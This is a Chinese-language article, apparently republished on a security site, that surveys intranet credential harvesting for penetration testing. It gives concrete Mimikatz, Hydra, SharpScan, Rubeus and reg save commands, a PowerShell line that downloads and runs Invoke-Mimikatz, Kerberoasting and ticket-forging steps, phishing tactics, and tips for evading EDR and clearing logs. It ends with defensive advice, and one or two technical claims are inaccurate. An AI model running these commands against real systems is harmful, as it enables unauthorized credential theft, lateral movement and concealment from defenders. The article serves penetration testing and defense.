别再瞎爆破!最全的内网凭据密码收集方法和技巧总结

华盟原创文章投稿奖励计划

网络安全攻防对抗中,内网凭据密码收集是渗透测试的核心环节之一。攻击者一旦获取内网合法凭据,便能实现横向移动、权限提升,最终控制核心业务系统;而防守方掌握凭据收集的技术逻辑,才能针对性构建防护体系。

注:本文所涉及的技术方法仅适用于已获得授权的渗透测试、安全评估场景。未经授权的内网凭据获取行为,违反《网络安全法》《个人信息保护法》等相关法律法规,需承担相应法律责任。

一、本地系统凭据挖掘:从终端源头获取核心凭据

终端是内网凭据的主要载体,用户登录信息、应用配置密码、缓存凭据等均可能存储于本地。本地挖掘的核心思路是定位系统/应用的凭据存储位置,通过合法工具提取或破解,该环节无需网络交互,隐蔽性较强。

(一)Windows系统本地凭据提取

Windows系统为保障用户体验,会在内存、注册表、配置文件中留存各类凭据,不同存储位置对应不同的提取技术。

1. 内存凭据提取:从lsass.exe进程突破

Windows用户登录后,身份凭证会加密存储于lsass.exe(本地安全授权服务)进程内存中,这是本地凭据提取的核心目标。常用工具为Mimikatz,其核心原理是注入lsass.exe进程读取内存数据,提取明文密码、NTLM哈希、票据等信息。

实操要点:

  • • 基础命令:运行Mimikatz后,执行privilege::debug提升权限(需管理员权限),再通过sekurlsa::logonPasswords提取内存中的凭据。sekurlsa模块是核心功能模块,可直接读取lsass.exe中的密码、密钥、票据等信息,无需与SAM数据交互,隐蔽性优于直接读取注册表。
  • • 系统版本限制:Windows Vista及以上版本默认不再存储LM哈希;Windows 8.1/Server 2012 R2及以上版本,由于默认关闭wdigest协议的明文存储功能,无法直接提取明文密码。若需获取高版本系统明文密码,可通过修改注册表开启wdigest(注册表路径:HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest,设置UseLogonCredential为1),但需用户重新登录后才生效,且易触发安全审计。
  • • 无文件提取方案:高版本Windows系统中,传统Mimikatz可执行文件易被EDR拦截,可通过PowerShell内存加载方式实现无文件提取。例如使用Invoke-Mimikatz脚本,通过iex (New-Object Net.WebClient).DownloadString('http://合法服务器/Invoke-Mimikatz.ps1')命令在内存中加载执行,避免文件落地。

2. 注册表凭据挖掘

Windows注册表中存储了大量应用配置和缓存凭据,常见挖掘位置包括:

  • • SAM数据库相关键值:HKLM\SAM\SAM\Domains\Account\Users存储用户哈希,但默认被系统锁定,需通过reg save命令备份后离线破解(命令:reg save HKLM\SAM SAM.hiv;reg save HKLM\SYSTEM SYSTEM.hiv),再使用hashcat、john等工具破解NTLM哈希。
  • • 远程桌面缓存:HKLM\SOFTWARE\Microsoft\Terminal Server Client\Servers存储RDP连接记录,包括服务器地址、用户名等,部分版本会缓存加密后的密码哈希,可通过Mimikatz的ts::mstsc模块提取。
  • • 凭据管理器缓存:HKCU\Software\Microsoft\Credentials和HKCU\Software\Microsoft\Protect存储Windows凭据管理器中的缓存凭据(如网络共享、VPN、应用登录信息),可通过cmdkey /list命令查看缓存列表,再结合Mimikatz的vault::cred模块提取明文或哈希。

3. 应用配置文件与日志挖掘

大量内网应用会将凭据以明文或弱加密形式存储于配置文件中,常见位置包括:

  • • Web应用配置:IIS服务器的web.config文件可能包含数据库连接字符串(如);Tomcat的server.xml文件中可能存储JDBC连接凭据。
  • • 客户端应用配置:FTP客户端(如FileZilla)的配置文件存储于%APPDATA%\FileZilla\sitemanager.xml,包含服务器地址、用户名和加密后的密码,可通过专用脚本解密;邮件客户端(如Outlook)的配置文件存储于%APPDATA%\Microsoft\Outlook,可提取POP3/IMAP/SMTP服务凭据。
  • • 日志文件:Windows事件日志(安全日志ID 4624/4625)记录登录成功/失败信息,可通过wevtutil qe Security /q:"*[System[EventID=4624]]" /f:text命令导出,筛选用户名、登录IP等信息;应用日志(如MySQL、SQL Server日志)可能包含数据库登录凭据。

(二)Linux系统本地凭据提取

Linux系统凭据存储机制与Windows不同,核心凭据多存储于/etc目录下的配置文件和用户家目录中,提取技术更依赖命令行检索。

1. 核心配置文件挖掘

  • • /etc/passwd与/etc/shadow:/etc/passwd存储用户基本信息(公开可读),/etc/shadow存储加密后的用户密码哈希(仅root可读)。获取root权限后,可直接读取/etc/shadow文件,使用hashcat破解SHA-512哈希;若无法获取root权限,可尝试查找是否存在权限配置错误(如/etc/shadow被误设置为755权限)。
  • • 应用配置文件:Apache的httpd.conf、Nginx的nginx.conf可能包含虚拟主机配置和认证凭据;数据库服务(MySQL、PostgreSQL)的配置文件中可能存储管理员密码或允许免密登录的配置;SSH服务的/etc/ssh/sshd_config可能开启密钥登录,可在用户家目录的~/.ssh目录中查找id_rsa(私钥)、authorized_keys(授权密钥)等文件。

2. 内存与进程凭据提取

Linux系统中,运行中的进程内存可能留存明文凭据(如数据库登录、应用服务认证信息),可通过GDB调试器或进程内存 Dump 工具提取。例如通过ps -ef | grep mysql找到MySQL进程PID,再使用gdb --pid [PID] -batch -ex "generate-core-file"生成内存 Dump 文件,最后通过strings命令检索敏感字符串(如"password"、"root")。

3. 历史命令与缓存挖掘

Linux用户的历史命令存储/.bash_history文件中,若用户在命令行中直接输入密码(如mysql -u root -p123456),会被直接记录。可通过cat ~/.bash_history | grep -E "password|pass| -p"命令筛选敏感信息;此外,部分应用(如Git)会缓存远程仓库的认证凭据,可在/.git-credentials文件中查找。

二、网络服务凭据探测:利用服务暴露获取凭据

内网中大量网络服务(如SSH、SMB、RDP、数据库)需要身份认证,攻击者可通过端口扫描、弱口令爆破、协议漏洞利用等方式获取凭据。该环节需与目标服务建立网络连接,易触发流量审计,需控制扫描频率和爆破策略。

(一)前置准备:内网资产扫描与服务识别

网络服务探测的前提是明确内网资产分布和开放服务,常用工具为SharpScan、Nmap、Masscan等,其中SharpScan因集成多种功能且支持无文件落地,更适合内网环境。

实操要点:

  • • 存活主机探测:优先使用ARP协议扫描(适用于同一网段),避免ICMP协议被防火墙拦截。例如SharpScan命令:SharpScan.exe -h 192.168.1.0/24 -nopoc,快速探测网段内存活主机。
  • • 服务端口扫描:针对存活主机,扫描常见服务端口(如22(SSH)、135(WMI)、139/445(SMB)、3389(RDP)、3306(MySQL)、5432(PostgreSQL))。使用SharpScan的端口扫描功能:SharpScan.exe -s 192.168.1.100 -p 1-1024 -d 0 -m 600,指定端口范围和并发数,减少扫描耗时。
  • • 服务版本识别:通过端口对应的服务指纹,识别服务版本和类型,为后续爆破或漏洞利用提供依据。例如Nmap的nmap -sV 192.168.1.100 -p 445命令,可识别SMB服务版本,判断是否存在MS17-010(永恒之蓝)、SMBGhost等漏洞。

(二)弱口令爆破与密码喷洒

弱口令是内网最常见的安全隐患,据统计60%的企业内网存在弱口令问题,32%的域控服务器使用弱口令。弱口令爆破的核心是构建合理的字典,结合服务特性控制爆破频率,避免触发账号锁定机制。

1. 常见服务爆破方法

  • • SMB服务:内网中445端口(SMB服务)暴露广泛,可通过SharpScan、Hydra等工具爆破。例如SharpScan命令:SharpScan.exe -h 192.168.1.0/24 -m smb -uf user.txt -pwf pass.txt,使用用户名字典和密码字典批量爆破SMB服务凭据。
  • • SSH服务:Linux服务器的SSH服务(22端口)是重点目标,可使用Hydra命令:hydra -L user.txt -P pass.txt -t 4 192.168.1.100 ssh,-t参数控制并发数(建议4-8线程,避免被防火墙拦截)。
  • • RDP服务:Windows远程桌面(3389端口)爆破需注意,部分系统开启账号锁定策略(连续错误密码后锁定账号),建议使用密码喷洒策略(同一密码尝试多个账号)。例如SharpScan命令:SharpScan.exe -h 192.168.1.0/24 -m rdp -uf user.txt -pwf pass.txt,结合字典优化(优先尝试"公司名+年份"、"admin@123"等针对性弱口令)。
  • • 数据库服务:MySQL(3306端口)、SQL Server(1433端口)等数据库服务,可使用专用工具爆破。例如MySQL爆破:hydra -L user.txt -P pass.txt 192.168.1.100 mysql;SQL Server爆破可使用SharpScan的msql模块,支持命令执行验证凭据有效性。

2. 密码喷洒策略(避免账号锁定)

传统爆破(一个账号尝试多个密码)易触发账号锁定,密码喷洒(一个密码尝试多个账号)更适合内网环境,尤其适用于域环境中的通用密码。

实操要点:

  • • 字典构建:优先收集内网信息(如公司名称、员工姓名、部门缩写、年份),构建针对性密码字典(如"Company@2024"、"ZhangSan123"),减少无效尝试。
  • • 工具选型:SharpScan集成了自动化密码喷洒功能,命令:SharpScan.exe -h 192.168.1.100 -m passwordspray -uf user.txt -pw Password@123,使用指定密码批量尝试用户列表。
  • • 频率控制:每尝试一个账号后暂停3-5秒,避免短时间内大量请求触发防火墙告警;选择非工作时间(如凌晨)执行,降低被发现概率。

(三)协议漏洞与配置错误利用

部分网络服务因未修复高危漏洞或配置错误,可直接获取凭据或绕过认证。常见场景包括:

  • • SMB服务漏洞:MS17-010(永恒之蓝)漏洞可直接获取系统权限,进而提取本地凭据;SMBGhost(CVE-2020-0796)漏洞可通过恶意SMB请求获取内存数据,包含凭据信息。可使用SharpScan的SharpScan.exe -h 192.168.1.0/24 -m ms17010命令批量扫描漏洞主机。
  • • RDP服务配置错误:部分主机开启RDP服务时,未禁用"允许使用空密码登录"选项,可尝试使用空密码登录常见账号(如guest);或开启"网络级别身份验证(NLA)"绕过漏洞,直接获取登录权限。
  • • 数据库配置错误:MySQL开启远程登录权限,且root账号使用弱密码;SQL Server启用sa账号,且密码为空或简单密码,可直接远程登录数据库,获取数据库内存储的业务系统凭据。

三、域环境凭据收集:横向移动的核心突破点

企业内网多采用域环境管理,域控制器(DC)存储了所有域用户的凭据信息,获取域凭据可实现全域主机的横向移动。域环境凭据收集的核心是利用Kerberos协议漏洞和域控相关服务特性。

(一)Kerberos协议漏洞利用:Kerberoasting攻击

Kerberos是域环境的核心认证协议,SPN(服务主体名称)是服务在Kerberos网络中的唯一标识符,Kerberoasting攻击利用Kerberos协议缺陷,通过请求服务票据并离线破解获取服务账号密码。

攻击流程:

  1. 1. SPN扫描:域内任何已认证用户均可查询SPN,定位运行在域用户账号下的服务。常用命令:setspn -Q */*(查询所有SPN);或使用SharpScan的userenum模块:SharpScan.exe -h 192.168.1.100(域控IP) -m userenum -uf user.txt
  2. 2. 请求服务票据:使用Mimikatz或Rubeus工具请求目标SPN的服务票据。例如Mimikatz命令:sekurlsa::tickets /export导出所有票据;Rubeus命令:Rubeus.exe kerberoast /outfile:tickets.kirbi生成可破解的票据文件。
  3. 3. 离线破解:服务票据使用服务账号的NTLM哈希加密,可将票据文件导出后,使用hashcat或John工具离线破解。例如hashcat命令:hashcat -m 13100 tickets.kirbi pass.txt,13100为Kerberos票据的哈希类型。

优势与注意事项:Kerberoasting攻击无需管理员权限,仅需普通域用户权限即可执行;攻击过程无明显异常流量,不易被检测;但破解成功率依赖密码强度,建议优先针对数据库服务、Web服务等运行在高权限域账号下的SPN。

(二)域控凭据提取:黄金票据与白银票据

黄金票据和白银票据是利用Kerberos协议缺陷的持久性攻击技术,可直接绕过认证获取域内权限。

  • • 黄金票据(Golden Ticket):需要获取域控的KRBTGT账号哈希,通过伪造TGT(票据授予票据)实现全域资源访问。获取KRBTGT哈希需域管理员权限,可通过Mimikatz的lsadump::dcsync /domain:test.com /user:krbtgt命令提取(DCSync攻击)。伪造命令:kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-xxx /krbtgt:xxx /ticket:golden.kirbi,导入票据后即可获得域管理员权限。
  • • 白银票据(Silver Ticket):无需KRBTGT哈希,仅需目标服务的账号哈希,伪造针对特定服务的ST(服务票据)。例如针对SMB服务的白银票据,获取目标主机的机器账号哈希后,使用Mimikatz命令伪造:kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-xxx /target:DC01.test.com /service:cifs /rc4:xxx /ticket:silver.kirbi,导入后可访问目标主机的SMB服务。

风险提示:黄金票据攻击会修改域控的KRBTGT密码,导致所有现有票据失效,易被快速发现;白银票据攻击范围有限,仅针对特定服务,隐蔽性相对较高。

(三)域内信息枚举与凭据推导

通过域内信息枚举,可获取用户列表、组信息、主机列表等,进而推导潜在凭据。常用工具包括SharpScan、BloodHound等。

  • • 域用户与组枚举:使用net user /domain查询所有域用户;net group "Domain Admins" /domain查询域管理员组成员。SharpScan的域信息收集命令:SharpScan.exe -h 192.168.1.100 -m domaininfo,可自动收集域控FQDN、域管理员组、企业管理员组信息。
  • • 凭据推导:结合枚举的用户名,推导密码规律。例如员工账号多为"姓名首字母+姓氏"(如zhangsan),密码可能为"姓名+部门+年份"(如zhangsanIT2024);域管理员账号可能使用"Admin@公司缩写+年份"等规律密码。
  • • BloodHound分析:通过BloodHound收集域内信任关系、权限继承信息,定位"低权限用户可控制高权限主机"的路径,进而针对性收集凭据。例如发现普通域用户可通过WMI控制域控,可优先收集该用户的凭据。

四、突破技术防护的人性弱点

技术防护可抵御大部分自动化攻击,但人性弱点往往是内网凭据泄露的最大漏洞。社会工程学辅助收集凭据的核心是利用员工的疏忽大意,获取合法凭据。

(一)钓鱼邮件攻击

钓鱼邮件是获取内网凭据最常用的社会工程学手段,攻击者伪造合法邮件(如IT部门通知、会议邀请),诱导员工点击恶意链接或下载恶意附件,进而窃取凭据。

实操要点:

  • • 邮件伪造:伪造企业内部邮箱域名(如将@test.com改为@test-cn.com),邮件主题需具有迷惑性(如"【紧急】系统升级通知,请及时更新密码"、"【会议邀请】关于年度总结会议的通知")。
  • • 恶意附件/链接:附件可采用带宏的Word文档,启用宏后执行PowerShell脚本,窃取本地凭据;恶意链接指向钓鱼网站(仿冒企业OA、邮箱登录页面),收集员工输入的账号密码。
  • • 精准钓鱼:通过前期信息收集(如企业官网、脉脉获取员工姓名、部门),发送个性化邮件,提高成功率。例如针对财务部门员工,伪造"财务系统账号验证通知"。

(二)水坑攻击与物理接触攻击

水坑攻击针对内网常用服务(如文件服务器、OA系统),篡改页面植入恶意代码,当员工访问时窃取凭据;物理接触攻击则通过获取内网终端的物理访问权限,直接提取凭据。

  • • 水坑攻击:入侵内网文件服务器,在常用文档(如Excel报表、Word模板)中植入宏代码或恶意链接,员工打开文档后触发恶意代码,窃取本地凭据或内存中的登录信息。
  • • 物理接触攻击:伪装成维修人员进入机房,通过USB设备(如带恶意固件的U盘)植入恶意程序,或直接在终端上执行凭据提取命令;利用未锁屏的办公电脑,直接查看浏览器缓存、凭据管理器中的信息。

(三)内部人员诱导

通过伪装成同事、领导或IT支持人员,诱导员工泄露凭据。例如:

  • • 即时通讯诱导:通过企业微信、钉钉等内部通讯工具,伪装成IT支持人员,以"系统维护需要验证账号密码"为由,请求员工提供凭据。
  • • 电话诱导( pretexting ):冒充IT部门工作人员,打电话给员工,声称"账号异常需要重置密码",诱导员工告知当前密码或点击恶意链接。

五、工具选型与实操避坑指南

内网凭据收集需结合工具特性和环境特点选择合适工具,同时规避安全检测和账号锁定等风险。

(一)核心工具分类与使用场景

工具类型 代表工具 核心功能 适用场景
本地凭据提取 Mimikatz、Invoke-Mimikatz 提取内存凭据、注册表凭据、票据 Windows终端本地挖掘、域环境票据导出
内网扫描与爆破 SharpScan、Hydra、Nmap 资产扫描、服务识别、弱口令爆破 内网大范围资产探测、多服务批量爆破
域环境专用 Rubeus、BloodHound、SharpScan Kerberoasting攻击、域信息枚举、信任关系分析 域环境凭据收集、横向移动路径规划
无文件攻击 PowerShell Empire、Cobalt Strike 内存加载脚本、远程命令执行 高安全级别环境,规避EDR文件检测
密码破解 Hashcat、John the Ripper NTLM/SHA哈希破解、Kerberos票据破解 离线破解提取的哈希和票据

(二)实操避坑关键点

  • • 规避EDR检测:优先使用无文件执行方式(如PowerShell内存加载、WMI远程执行);对工具进行混淆处理(如Mimikatz代码加密、PowerShell脚本混淆),绕过AMSI检测。
  • • 避免账号锁定:爆破前先查询目标服务的账号锁定策略(如Windows通过net accounts /domain查询域账号锁定策略);采用密码喷洒策略,控制尝试频率;优先使用非管理员账号进行探测。
  • • 减少日志留存:执行命令时避免使用会产生大量日志的工具(如net.exe、reg.exe);使用SharpScan等遵循OPSEC原则的工具,减少子进程创建;执行完成后清理命令历史、事件日志(如wevtutil cl Security清理安全日志)。
  • • 网络流量控制:扫描和爆破时控制并发数和频率,避免触发防火墙的流量阈值告警;使用内网代理(如Socks5)隐藏攻击源IP,SharpScan支持Socks5代理功能,可通过参数指定。

六、防御建议

内网凭据泄露的核心原因是技术配置缺陷和管理疏漏,企业需从技术、管理、人员三个层面构建防护体系。

(一)技术防护措施

  • • 启用凭据保护机制:Windows系统启用Credential Guard和LSA保护,阻止内存凭据提取;域环境启用Kerberos预认证,防范暴力破解和票据伪造。
  • • 强化密码策略:实施强密码策略(密码长度≥12位,包含大小写字母、数字、特殊符号);开启定期密码轮换(如15天强制轮换);禁止密码重复使用和弱口令。
  • • 部署终端安全工具:安装EDR(端点检测与响应)工具,监控内存注入、异常PowerShell执行等行为;开启网络防火墙,限制内网服务的访问范围(如仅允许特定IP访问3389、445端口)。
  • • 定期漏洞修复:及时修复SMB、RDP等服务的高危漏洞(如MS17-010、CVE-2020-1472);定期更新操作系统和应用程序,关闭不必要的服务和端口。

(二)管理防护措施

  • • 实施最小权限原则:普通员工仅授予必要的访问权限,避免使用管理员账号日常办公;域管理员账号仅用于域控管理,不用于普通操作。
  • • 建立安全审计机制:定期审计域账号、管理员账号的登录日志和操作记录;监控异常的票据请求、哈希提取行为,及时发现攻击迹象。
  • • 规范第三方管理:对第三方运维人员实施临时授权,明确访问范围和时间;定期评估第三方系统的安全风险,避免供应链攻击。

(三)人员安全意识培养

  • • 定期开展安全培训:讲解钓鱼邮件识别、密码安全、物理安全等知识,提高员工的安全意识。
  • • 开展钓鱼演练:定期向员工发送模拟钓鱼邮件,统计点击率,针对性强化培训。
  • • 建立举报机制:鼓励员工举报可疑邮件、电话和即时通讯请求,及时处置潜在风险。

内网凭据密码收集是攻防对抗的核心环节,其技术体系涵盖本地挖掘、网络探测、域环境利用、社会工程学等多个维度。对于渗透测试人员而言,需熟练掌握各类技术的原理和实操要点,结合环境特点灵活运用;对于企业而言,需明确自身的安全短板,从技术、管理、人员三个层面构建全方位的防护体系,才能有效抵御凭据泄露风险。

 

文章来源:HACK之道

本文来源HACK之道,经授权后由华盟君发布,观点不代表华盟网的立场,转载请联系原作者。

发表回复